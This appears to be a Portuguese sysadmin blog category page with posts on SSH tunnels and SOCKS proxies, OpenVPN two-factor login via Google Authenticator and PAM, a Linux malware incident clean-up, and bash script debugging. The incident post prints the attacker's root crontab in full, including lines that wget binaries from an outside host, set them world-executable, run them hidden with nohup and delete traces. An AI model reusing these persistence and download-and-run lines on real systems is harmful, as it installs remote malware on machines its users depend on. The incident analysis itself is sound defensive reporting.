Arquivo da categoria: Hack’s

Túnel ssh proxy socks

Túnel para acesso interno
#ssh -q -L 1000:192.168.0.10:3389 user@200.0.0.1
O acesso é comum para a um host interno na rede de destino, o analista deve acessar o servidor SSH que esta aberto e através dele conectar no servidor de destino.
topologia1
Após a conexão no servidor ssh, use o rdesktop para conectar no terminal service.
#rdesktop 127.0.0.1:1000

Proxy Socks
#ssh -q -D 1000 user@200.0.0.1
Após acessar o ssh, deve configurar o navegador para receber as conexões de socks.
topologia2
No navegador…
Captura de Tela 2016-05-16 às 19.20.08

Openvpn com google authenticator

suporte de autenticação de dois fatores utilizado pelo Google, pode ser usado também no serviço de OpenVPN do Linux. Dentro das configurações do servidor, pode-se usar a biblioteca do PAM, onde este fará a interação com a biblioteca do Google para autenticar o usuário, sem a necessitando de acesso a internet para concluir o acesso do usuário ao recurso.

Instalação do módulo PAM de autenticação do Google, para o correto funcionamento do modulo, o analista deve instalar o pacote “pam-devel”
# yum install pam-devel

Realizar o download da libpam do Google no link http://code.google.com/p/google-authenticator/

# cd /home/ec2-user/google-authenticator-master/libpam
# ./bootstrap.sh && ./configure && make && make install

A biblioteca do Google deve estar instalada na pasta:
/usr/local/lib/security/pam_google_authenticator.so

Para o Selinux não apresentar alertas deveremos executar o comando;
#restorecon -RFv /usr/local/lib/security/

Deve-se criar um arquivo de configuração no PAM, onde este deverá ser usado no processo de autenticação pelo aplicativo.
# cat /etc/pam.d/openvpn
auth   requisite    /usr/local/lib/security/pam_google_authenticator.so   forward_pass
auth   required pam_unix.so use_first_pass

script de autenticação do openvpn com o PAM, é comum estar disponível na documentação do servidor, sendo assim basta copiar para pasta do serviço;
# cp /usr/share/doc/openvpn-2.3.8/sample/sample-scripts/auth-pam.pl/etc/openvpn/ auth2-pam.pl
# chmod 755 /etc/openvpn/auth2-pam.pl

Para o funcionamento do script de autenticação do PAM, instale o modulo do perl
# yum install perl-Authen-PAM

Dentro do script deve ser alterado o campo serviço, onde tem login (arquivo de login configurado no PAM) para o OPENVPN (criado anteriormente).
# vim /etc/openvpn/auth-pam.pl
… … …
# Identify service type to PAM
$service = “openvpn”;
… … …

No servidor adicione a linha seguinte nas configurações do serviço.
# vim /etc/openvpn/openvpn.conf
… … …
auth-user-pass-verify auth-pam.pl via-file
script-security 2

Para continuar o processo de configuração, deve ser instalado no dispositivo o App da Google no dispositivo que vai ser utilizado pelo usuário: https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2

A configuração do usuário para autenticação usando a ferramenta do Google, necessita logar no shell linux com o usuário e executar:
$ google-authenticator
No terminal deve aparecer um QR Code para configuração do aplicativo do Google

qr(1)

Neste momento a configuração deve ser realizada no dispositivo, adicionando uma conta nova e utilizando o QR Code para realizar o sincronismo dos dados.
Responda os questionamentos usando a letra “Y”, logo após deve concluir com a informação de que foi criado um arquivo no /home do usuário, um arquivo:
“/home/$user/.google_authenticator”

Este arquivo contém códigos de emergência para login sem usar o App da Google no celular. Devido a isso deve-se melhorar a segurança deste diretório.
Para o Selinux não apresentar alertas deveremos executar o comando:
semanage fcontext -a -t openvpn_etc_rw_t “/home/lauro/.google_authenticator”

Teste de autenticação
Para o teste dos módulos do PAM existe uma ferramenta necessária para isto, o PAMTESTER, para instalar basta:
# yum install pamtester

Para testar a autenticação do modulo do PAM (login), modulo mais básico do PAM
# pamtester login lauro authenticate
Password: 123456
pamtester: successfully authenticated

Depois de criar o arquivo no PAM com o modulo de autenticação do Google, poderemos testa-lo.
# vim /etc/pam.d/openvpn
auth requisite pam_google_authenticator.so forward_pass
auth required pam_unix.so use_first_pass
# pamtester openvpn lauro authenticate
Password & verification code: 123456 + [6 digitos da senha temporaria]
pamtester: successfully authenticated

acabou 🙂 !!!

Malware no Linux

Bom dia, boa tarde ou boa noite … 🙂

Hoje foi um dia inusitado, fui chamado para um trabalho e me deparei com um servidor Linux comprometido por um MALWARE, sim um MALWARE que estava instalado na máquina, como não e comum vermos isso nos servidores, vamos a remoção, mas também anotações para poder divulgar, vamos lá.

Identificação

Primeiro de tudo, vamos aos pontos que tenho absoluta certeza que foram estes que levaram a invasão deste servidor,

1 – O firewall mantinha a senha padrão de instalação, isso mesmo a padrão, era um appliance cuja a marca não vem ao caso;

2 – Ainda no firewall havia uma regra de encaminhamento da conexão usada pelo protocolo SSH, na porta padrão 22, diretamente para o servidor que hospedava o MALWARE;

3 – A senha de root fraca;

Estes pontos foram cruciais para comprometer o servidor, ainda que possam existir casos de ambientes que não poderemos bloquear o acesso do usuário root diretamente, podemos ao menos dificultar seu acesso.
A caçada

Ao observar a rede notei diversas quedas de comunicação com o gateway, impossibilitando a conexão de rede de todos desktops da LAN, ao ser informado pelo contratante que ao desligar o servidor Linux a rede voltava ao seu estado normal me concentrei apenas nesta máquina.
O servidor apresentava altos consumos de CPU e memória em diversos momentos, cronometrados até, ao observar os processos que estavam sendo executados na maquina me levou a perceber que o processo que causava o aumento de consumo mudava com muita frequência, logo tentei verificar quem executa o tal processo, chegando scripts de inicialização achei uma informação importante:

/etc/init.d/.SSH2
/etc/init.d/.SSHH2

estes apontavam para um executável dento de /etc/.SSH2, que por sua vez executava os seguintes arquivos:

/etc/gfhjrtfyhuf
/etc/sfewfesfs
/etc/gdmorpen
/etc/fdsfsfvff
/etc/rewgtf3er4t
/etc/smarvtd
/etc/whitptabil
/tmp/gfhjrtfyhuf
/tmp/sfewfesfs
/tmp/gdmorpen
/tmp/fdsfsfvff
/tmp/rewgtf3er4t
/tmp/smarvtd
/tmp/whitptabil

O servidor mantinha conexão com um IP externo alocado na China, por causa de um dos arquivos citados acima, a informação foi verificada usando os comandos netstat e lsof:

netstat -tupan

A saída deste comando mostrava o número do processo, quem executava e a conexão, com o número do processo executei o comando:

lsof -p “PID”

Capturei mais informações sobre este arquivo.

O processo criava uns arquivos “/tmp/.sshdd140*” que em pouco tempo tomavam a CPU da maquina inteira impossibilitando a conexão, e o que é pior, neste momento o servidor tentará fazer spoofing na rede inteira, fazendo todas as conexões caírem no /dev/null.

Ao remover os arquivos, o que acontecia??? eles se criavam novamente … 🙁
Mas ai ficou mais fácil, vamos analisar a CRON, buscando informações no serviço dentre seus arquivos encontrei no /var/spool/cron/root as seguintes entradas:

*/99 * * * * killall -9 fdsfsfvff
*/98 * * * * killall -9 gfhjrtfyhuf
*/97 * * * * killall -9 fdsfsfvff
*/96 * * * * killall -9 rewgtf3er4t
*/95 * * * * killall -9 whitptabil
*/94 * * * * killall -9 gdmorpen
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gfhjrtfyhuf
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/sfewfesfs
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/fdsfsfvff
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/smarvtd
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/rewgtf3er4t
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/whitptabil
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gdmorpen
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf
*/360 * * * * cd /etc;rm -rf dir gdmorpen
*/360 * * * * cd /etc;rm -rf dir fdsfsfvff
*/360 * * * * cd /etc;rm -rf dir rewgtf3er4t
*/360 * * * * cd /etc;rm -rf dir smarvtd
*/360 * * * * cd /etc;rm -rf dir whitptabil
*/1 * * * * cd /etc;rm -rf dir sfewfesfs.*
*/1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.*
*/1 * * * * cd /etc;rm -rf dir gdmorpen.*
*/1 * * * * cd /etc;rm -rf dir fdsfsfvff.*
*/1 * * * * cd /etc;rm -rf dir rewgtf3er4t.*
*/1 * * * * cd /etc;rm -rf dir smarvtd.*
*/1 * * * * cd /etc;rm -rf dir whitptabil.*
*/1 * * * * chmod 7777 /etc/gfhjrtfyhuf
*/1 * * * * chmod 7777 /etc/sfewfesfs
*/1 * * * * chmod 7777 /etc/gdmorpen
*/1 * * * * chmod 7777 /etc/fdsfsfvff
*/1 * * * * chmod 7777 /etc/rewgtf3er4t
*/1 * * * * chmod 7777 /etc/smarvtd
*/1 * * * * chmod 7777 /etc/whitptabil
*/1 * * * * chmod 7777 /tmp/gfhjrtfyhuf
*/1 * * * * chmod 7777 /tmp/sfewfesfs
*/1 * * * * chmod 7777 /tmp/gdmorpen
*/1 * * * * chmod 7777 /tmp/fdsfsfvff
*/1 * * * * chmod 7777 /tmp/rewgtf3er4t
*/1 * * * * chmod 7777 /tmp/smarvtd
*/1 * * * * chmod 7777 /tmp/whitptabil
*/120 * * * * nohup /tmp/whitptabil > /dev/null 2>&1&
*/120 * * * * nohup /tmp/smarvtd > /dev/null 2>&1&
*/120 * * * * nohup /tmp/rewgtf3er4t > /dev/null 2>&1&
*/120 * * * * nohup /tmp/fdsfsfvff > /dev/null 2>&1&
*/120 * * * * nohup /tmp/gdmorpen > /dev/null 2>&1&
*/120 * * * * nohup /tmp/sfewfesfs > /dev/null 2>&1&
*/99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1&
*/100 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1&
*/98 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/97 * * * * nohup /etc/rewgtf3er4t > /dev/null 2>&1&
*/96 * * * * nohup /etc/whitptabil > /dev/null 2>&1&
*/95 * * * * nohup /etc/gdmorpen > /dev/null 2>&1&
*/1 * * * * echo “unset MAILCHECK” >> /etc/profile

Vejam todas entradas maliciosas que estavam configuradas.

Somente após todas as remoces devidas e configurações segundo as boas praticas de segurança no servidor e no firewall, pude comemorar 🙂

Vivendo aprendendo e debugando… 🙂

Passando dificuldades com shell

Dificuldades com scripts todos podem ter, muito normal…
Mas saber depurar o erro no script isso não tem preço…
para ativar o debug no script basta:
-x option to debug a shell script
Execute o shell script com a opção “-x”

$ bash -x script-name
$ bash -x domains.sh

ou pode fazer no script mesmo, você pode substituir a linha de organização padrão :

#!/bin/bash

com o seguinte código (para depuração ):

#!/bin/bash -xv